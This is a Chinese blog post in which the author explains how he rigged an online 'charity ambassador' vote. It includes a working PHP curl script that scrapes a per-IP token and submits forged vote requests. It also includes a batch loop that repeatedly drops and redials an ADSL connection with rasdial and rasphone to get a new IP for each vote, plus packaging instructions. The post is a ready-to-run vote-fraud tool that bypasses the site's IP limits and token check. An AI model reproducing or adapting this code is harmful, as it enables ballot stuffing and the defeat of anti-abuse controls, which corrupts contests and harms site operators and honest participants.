(PHP+批处理 )ADSL断线法投票刷票

来自http://tunps.com/adsl-mal-vote-with-php-and-batch

20天的一个晚上,哥在上网。QQ弹出消息,初中同学叫我帮他同学投票,哥点开他给我的地址。

差点没把我雷到哦,原来是选“爱心大使”,与其叫“爱心大使”,不如叫“赌博大使”。

然后看了看投票的方式,原来使用ajax来请求一个地址来完成票数的增加,没有验证码,没有ip限制,F5刷起来相当的过瘾。

然后开始装b了起来,给他说可以刷任意多票。我千不该啊万不该,不该把b装起来。后面的悲剧故事紧接着发生鸟。

开始用php+curl写了一个几行的小脚本1分钟之内可以刷到1W票以上。

然后就没有管它了。

结果过了几天同学又找到我了,说刷不起了,哥一看,我kao,肯定是做了ip限制,然后仔细的分析了一下网页。

点击后,onclick了一个GetIP() ,函数定义如下:

function GetIP(id)
    {
        var pass = '8966B88D690F10908063AB2B5B6AD911';
//        var a = parseInt(Math.random()*100000000)%10;
//       var b = '5';
//        var c = a * b;
//        var str=prompt("输入下列运算结果后才能投票成功:"+ a + " x "+ b + " = ??" );
//        if(str == c)
//        { 
            var IP = '125.86.0.107';
            var now=new Date();
            var url = "ip.aspx?id="+id+"&ip="+IP+"&pass=" +pass +"&time=" +now ;
            xmlH.open("GET", url, true);
            xmlH.onreadystatechange = nowOpenUpdate;
            xmlH.send(null); 
//        }
//        else
//        {
//            alert("输入运算结果不正确,请重新投票。")
//        }
    }

js中的pass变量和哥的Ip是唯一对应了,也就是服务器把ip通过某个函数转成了类似于md5的32位密钥。因为投票已经结束了,所以管理员已经把某些代码用//注释了起来。
点击投票后会弹出来一个随意的乘法算术题,答对了才get ip.aspx,否则弹出错误提示。
对于机器人来说,这个算术题有个毛用,完全是摆设。
请求方法是get,页面是ip.aspx?id="+id+"&ip="+IP+"&pass=" +pass +"&time=" +now。
参数有id,id是选手的id,ip就是客户端ip,pass就是刚才的pass变量,time类似于这种格式“Mon Sep 13 2010 17:49:04 GMT+0800”的时间。

最后根据这样的环境,哥写了如下php代码:

<?php
/*
    获取adsl公网ip
    tunpishuang at gmail dot com [tunps.com]
    2010.08.23
*/
$ch=curl_init();
$option=array(
    CURLOPT_URL=>'http://www.123cha.com/',
    CURLOPT_RETURNTRANSFER=>true
);
curl_setopt_array($ch,$option);
$data=curl_exec($ch);
preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/",$data, $matches);
$ip=$matches[0];
/*
    获取pass变量的
*/
$ch=curl_init();
$option=array(
    CURLOPT_URL=>'http://xx.com/tp.aspx',
    CURLOPT_RETURNTRANSFER=>true
);
curl_setopt_array($ch,$option);
$data=curl_exec($ch);
preg_match("/([A-Z0-9]{32})/",$data, $matches);
$pass=$matches[0];
/*
    发送投票数据包
*/
$ch = curl_init();
$options=array(
    CURLOPT_TIMEOUT=>5,
    CURLOPT_URL=>"http://xx.com/ip.aspx?id=5&ip=".$ip."&pass=".$pass."&time=Sun%20Aug%2022%202010%2023:01:49%20GMT+0800",
    CURLOPT_RETURNTRANSFER=>true,
    CURLOPT_POST=>false,
);
curl_setopt_array($ch,$options);
$data = curl_exec($ch);
print_r($options);
echo $data;
curl_close($ch);

将以上代码保存为vote.php

首先到123cha上面获得ip(长宽的adsl是非常诡异的,),然后到tp.aspx获取pass变量,time不管它,因为没有它没有做验证。
然后curl模拟刷票。

但是我们的问题还没解决,因为每次运行这个php脚本,ip都是一样的。

然后哥继续在上网搜寻通过adsl连续断线连线的方法,

找到两个命令:rasdial 和 rasphone,前面一个用来adsl连线,后一个用来断线。为啥rasdial不能断线呢,这个我也白思不得其解。反正我本地测试没有断线成功,所以用rasphone替代。将以下批处理代码保存为vote.bat

@echo off
set /p choise= 确认按回车(Enter)开始刷票
:loop
    rasdial 宽带连接 adsl用户名 adsl密码
    .\php.exe -c .\php.ini vote.php
    rasphone -h "adsl"
    ;rasdial adsl /disconnect
    ping -n 10 127.1>nul
goto loop

先连线,然后刷一票,然后断线,然后用ping休息10秒钟,继续重复这个过程。
另外要让php运行正常需要通过php.ini来配置扩展。
将以下代码保存为php.ini

[PHP]
extension_dir = "./"
extension=.\php_curl.dll

指定php的扩展路径和扩展。

然后拷贝php安装目录下面的ext目录下面的php_curl.dll到vote.bat的同一个目录。

这个时候php+批处理的刷票“程序”算是完成了,在已经安装了php的机子上可以正常运行,但是没有安装的php的环境,还需要拷贝php运行必须的dll库文件,最终包含的文件列表是:


libeay32.dll
php.exe
php.ini
php5ts.dll
php_curl.dll
ssleay32.dll
vote.bat
vote.php


最后我的总结是:最近和regular expression灰常的有缘非,公司网站js验证多次用到这个,看来有必须系统的学习一下鸟。

About tunpishuang

just 4 fun·····
This entry was posted in 未分类 and tagged , . Bookmark the permalink.

One Response to (PHP+批处理 )ADSL断线法投票刷票

  1. Pingback: php通过sudo执行root权限的程序 | 忘川彼岸

发表评论

电子邮件地址不会被公开。 必填项已用 * 标注

*

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>